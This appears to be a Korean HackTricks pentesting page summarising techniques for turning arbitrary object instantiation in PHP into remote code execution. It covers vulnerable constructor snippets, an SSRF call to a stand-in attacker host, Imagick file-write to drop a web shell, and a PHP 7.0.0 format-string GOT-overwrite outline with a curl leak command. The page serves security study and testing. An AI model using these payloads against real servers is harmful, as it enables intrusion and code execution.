PHP - RCE๋ฅผ ์•…์šฉํ•œ ๊ฐ์ฒด ์ƒ์„ฑ: new $_GETโ€œaโ€

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ๋ฌธ์„œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/์˜ ์š”์•ฝ์ž…๋‹ˆ๋‹ค.

์†Œ๊ฐœ

์˜ˆ๋ฅผ ๋“ค์–ด new $_GET["a"]($_GET["a"]) ๊ฐ™์€ ์ž„์˜ ๊ฐ์ฒด ์ƒ์„ฑ์€ Remote Code Execution (RCE)๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ž์„ธํ•œ ๋‚ด์šฉ์€ writeup์— ๋‚˜์™€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฌธ์„œ๋Š” RCE๋ฅผ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•œ ๋‹ค์–‘ํ•œ ์ „๋žต์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค.

์ปค์Šคํ…€ ํด๋ž˜์Šค ๋˜๋Š” Autoloading์„ ํ†ตํ•œ RCE

๋ฌธ๋ฒ• new $a($b)๋Š” ๊ฐ์ฒด๋ฅผ ์ธ์Šคํ„ด์Šคํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋ฉฐ, **$a**๋Š” ํด๋ž˜์Šค ์ด๋ฆ„์„ ๋‚˜ํƒ€๋‚ด๊ณ  **$b**๋Š” ์ƒ์„ฑ์ž์— ์ „๋‹ฌ๋˜๋Š” ์ฒซ ๋ฒˆ์งธ ์ธ์ˆ˜์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ณ€์ˆ˜๋“ค์€ GET/POST ๊ฐ™์€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์—์„œ ์œ ๋ž˜ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋ฌธ์ž์—ด์ด๋‚˜ ๋ฐฐ์—ด์ผ ์ˆ˜ ์žˆ๊ณ , JSON์—์„œ๋Š” ๋‹ค๋ฅธ ํƒ€์ž…์œผ๋กœ ๋‚˜ํƒ€๋‚  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•„๋ž˜ ์ฝ”๋“œ ์Šค๋‹ˆํŽซ์„ ๊ณ ๋ คํ•ด ๋ณด์ž:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

์ด ๊ฒฝ์šฐ $a๋ฅผ App ๋˜๋Š” App2๋กœ ์„ค์ •ํ•˜๊ณ  $b๋ฅผ ์‹œ์Šคํ…œ ๋ช…๋ น(์˜ˆ: uname -a)์œผ๋กœ ์„ค์ •ํ•˜๋ฉด ํ•ด๋‹น ๋ช…๋ น์ด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

Autoloading functions๋Š” ํ•ด๋‹น ํด๋ž˜์Šค์— ์ง์ ‘ ์ ‘๊ทผํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๋“ค์€ ํ•„์š”ํ•  ๋•Œ ํŒŒ์ผ์—์„œ ํด๋ž˜์Šค๋ฅผ ์ž๋™์œผ๋กœ ๋กœ๋“œํ•˜๋ฉฐ spl_autoload_register ๋˜๋Š” __autoload๋กœ ์ •์˜๋ฉ๋‹ˆ๋‹ค:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

์˜คํ† ๋กœ๋”ฉ์˜ ๋™์ž‘์€ PHP ๋ฒ„์ „์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ ธ ๋‹ค์–‘ํ•œ RCE ๊ฐ€๋Šฅ์„ฑ์„ ์ œ๊ณตํ•œ๋‹ค.

RCE via ๋‚ด์žฅ ํด๋ž˜์Šค

์ปค์Šคํ…€ ํด๋ž˜์Šค๋‚˜ ์˜คํ† ๋กœ๋”๊ฐ€ ์—†์„ ๋•Œ๋Š” ๋‚ด์žฅ PHP ํด๋ž˜์Šค๋งŒ์œผ๋กœ๋„ RCE๊ฐ€ ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋Ÿฌํ•œ ํด๋ž˜์Šค์˜ ์ˆ˜๋Š” PHP ๋ฒ„์ „๊ณผ ํ™•์žฅ์— ๋”ฐ๋ผ ๋Œ€๋žต 100~200๊ฐœ ์‚ฌ์ด์ด๋ฉฐ, get_declared_classes()๋กœ ๋‚˜์—ดํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ด€์‹ฌ ์žˆ๋Š” ์ƒ์„ฑ์ž๋“ค์€ ๋ฆฌํ”Œ๋ ‰์…˜ API๋ฅผ ํ†ตํ•ด ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๋‹ค. ์˜ˆ์‹œ์™€ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ ์˜ˆ์ œ ๋ฐ ๋งํฌ https://3v4l.org/2JEGF๋ฅผ ์ฐธ์กฐํ•˜๋ฉด ๋œ๋‹ค.

RCE via ํŠน์ • ๋ฉ”์„œ๋“œ๋ฅผ ํ†ตํ•œ ์‚ฌ๋ก€์—๋Š” ๋‹ค์Œ์ด ํฌํ•จ๋œ๋‹ค:

SSRF + Phar Deserialization

SplFileObject ํด๋ž˜์Šค๋Š” ์ƒ์„ฑ์ž๋ฅผ ํ†ตํ•ด SSRF๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋ฉฐ, ์ž„์˜์˜ URL์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋‹ค:

new SplFileObject('http://attacker.com/');

SSRF๋Š” Phar ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜์—ฌ PHP 8.0 ์ด์ „ ๋ฒ„์ „์—์„œ deserialization ๊ณต๊ฒฉ์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Exploiting PDOs

PDO ํด๋ž˜์Šค ์ƒ์„ฑ์ž๋Š” DSN ๋ฌธ์ž์—ด์„ ํ†ตํ•ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฉฐ, ์ž ์žฌ์ ์œผ๋กœ ํŒŒ์ผ ์ƒ์„ฑ์ด๋‚˜ ๊ธฐํƒ€ ์ƒํ˜ธ์ž‘์šฉ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

libxml2์˜ ๋ฒ„์ „์— ๋”ฐ๋ผ, PHP 5.3.22 ๋ฐ 5.4.12๊นŒ์ง€์˜ ๋ฒ„์ „์€ SoapClient ๋ฐ SimpleXMLElement ์ƒ์„ฑ์ž๋ฅผ ํ†ตํ•ด XXE ๊ณต๊ฒฉ์— ์ทจ์•ฝํ–ˆ์Šต๋‹ˆ๋‹ค.

RCE via Imagick Extension

ํ”„๋กœ์ ํŠธ์˜ ์˜์กด์„ฑ ๋ถ„์„์—์„œ, Imagick์ด ์ƒˆ๋กœ์šด ๊ฐ์ฒด๋ฅผ ์ธ์Šคํ„ด์Šคํ™”ํ•จ์œผ๋กœ์จ command execution์— ์ด์šฉ๋  ์ˆ˜ ์žˆ์Œ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ทจ์•ฝ์  ์•…์šฉ์˜ ๊ธฐํšŒ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

VID parser

VID parser๊ฐ€ ํŒŒ์ผ์‹œ์Šคํ…œ์˜ ์ž„์˜ ๊ฒฝ๋กœ์— ์ฝ˜ํ…์ธ ๋ฅผ ์“ธ ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Œ์ด ํ™•์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์›น์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ์— PHP ์‰˜์„ ๋ฐฐ์น˜ํ•˜์—ฌ Remote Code Execution (RCE)์„ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

VID Parser + File Upload

PHP๊ฐ€ ์—…๋กœ๋“œ๋œ ํŒŒ์ผ์„ /tmp/phpXXXXXX์— ์ž„์‹œ ์ €์žฅํ•œ๋‹ค๋Š” ์ ์„ ์ฃผ๋ชฉํ•˜์„ธ์š”. Imagick์˜ VID parser๋Š” msl ํ”„๋กœํ† ์ฝœ์„ ์ด์šฉํ•ด ํŒŒ์ผ ๊ฒฝ๋กœ์˜ ์™€์ผ๋“œ์นด๋“œ๋ฅผ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์–ด, ์ž„์‹œ ํŒŒ์ผ์„ ํŠน์ • ์œ„์น˜๋กœ ์˜ฎ๊ธฐ๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ํŒŒ์ผ์‹œ์Šคํ…œ ๋‚ด์—์„œ ์ž„์˜ ํŒŒ์ผ ์“ฐ๊ธฐ๋ฅผ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ๋˜ ๋‹ค๋ฅธ ์ˆ˜๋‹จ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

PHP Crash + Brute Force

original writeup์— ์„ค๋ช…๋œ ๋ฐฉ๋ฒ•์€ ์‚ญ์ œ๋˜๊ธฐ ์ „์— ์„œ๋ฒ„ ํฌ๋ž˜์‹œ๋ฅผ ์œ ๋ฐœํ•˜๋Š” ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ž„์‹œ ํŒŒ์ผ์˜ ์ด๋ฆ„์„ brute-forcingํ•˜๋ฉด Imagick์ด ์ž„์˜์˜ PHP ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ด ๊ธฐ๋ฒ•์€ ๊ตฌ๋ฒ„์ „์˜ ImageMagick์—์„œ๋งŒ ํšจ๊ณผ์ ์ธ ๊ฒƒ์œผ๋กœ ํ™•์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Format-string in class-name resolution (PHP 7.0.0 Bug #71105)

์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ํด๋ž˜์Šค ์ด๋ฆ„์„ ์ œ์–ดํ•  ๋•Œ(์˜ˆ: new $_GET['model']()), PHP 7.0.0์€ Throwable ๋ฆฌํŒฉํ„ฐ๋ง ๊ณผ์ •์—์„œ ์ผ์‹œ์ ์ธ ๋ฒ„๊ทธ๋ฅผ ๋„์ž…ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฒ„๊ทธ๋กœ ์ธํ•ด ์—”์ง„์ด ํด๋ž˜์Šค ์ด๋ฆ„์„ ํ•ด์„ํ•  ๋•Œ ์ด๋ฅผ printf ํ˜•์‹ ๋ฌธ์ž์—ด๋กœ ์ž˜๋ชป ์ทจ๊ธ‰ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” PHP ๋‚ด๋ถ€์—์„œ classic printf-style primitives๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜์—ฌ, %p๋ฅผ ํ†ตํ•œ leaks, ํญ(width) ์ง€์ •์ž๋ฅผ ์ด์šฉํ•œ write-count ์ œ์–ด, ๊ทธ๋ฆฌ๊ณ  %n์„ ์ด์šฉํ•œ ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€ ํฌ์ธํ„ฐ(์˜ˆ: ELF ๋นŒ๋“œ์˜ GOT ์—”ํŠธ๋ฆฌ)์— ๋Œ€ํ•œ arbitrary writes๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

Minimal repro vulnerable pattern:

<?php
$model = $_GET['model'];
$object = new $model();

Exploitation outline (from the reference):

  • ํด๋ž˜์Šค ์ด๋ฆ„์˜ %p๋ฅผ ํ†ตํ•ด ์ฃผ์†Œ๋ฅผ leakํ•˜์—ฌ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋Œ€์ƒ(writable target)์„ ์ฐพ์Œ:
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
  • ์ •ํ™•ํ•œ ๋ฐ”์ดํŠธ ์ˆ˜๋ฅผ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•ด positional parameters์™€ width specifiers๋ฅผ ์‚ฌ์šฉํ•œ ๋‹ค์Œ, %n์„ ์‚ฌ์šฉํ•ด ์Šคํƒ์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์ฃผ์†Œ์— ๊ทธ ๊ฐ’์„ ๊ธฐ๋กํ•œ๋‹ค. ๋ชฉํ‘œ๋Š” GOT ์Šฌ๋กฏ(์˜ˆ: free)์„ ๊ฒจ๋ƒฅํ•ด ๋ถ€๋ถ„์ ์œผ๋กœ system์œผ๋กœ ๋ฎ์–ด์“ฐ๋Š” ๊ฒƒ์ด๋‹ค.
  • ์…ธ ํŒŒ์ดํ”„๋ฅผ ํฌํ•จํ•œ ํด๋ž˜์Šค ์ด๋ฆ„์„ ์ „๋‹ฌํ•ด ํ•˜์ด์žฌํ‚น๋œ ํ•จ์ˆ˜๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜์—ฌ system("id")๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.

Notes:

  • PHP 7.0.0์—์„œ๋งŒ ๋™์ž‘ํ•จ(Bug #71105); ์ดํ›„ ๋ฆด๋ฆฌ์Šค์—์„œ ์ˆ˜์ •๋จ. Severity: critical if arbitrary class instantiation exists.
  • ์ผ๋ฐ˜์ ์ธ ํŽ˜์ด๋กœ๋“œ๋Š” ์—ฌ๋Ÿฌ %p๋ฅผ ์—ฐ์†์ ์œผ๋กœ ์‚ฌ์šฉํ•ด ์Šคํƒ์„ ํƒ์ƒ‰ํ•œ ๋‹ค์Œ, %.<width>d%<pos>$n์œผ๋กœ ๋ถ€๋ถ„ ๋ฎ์–ด์“ฐ๊ธฐ๋ฅผ ์ˆ˜ํ–‰ํ•œ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ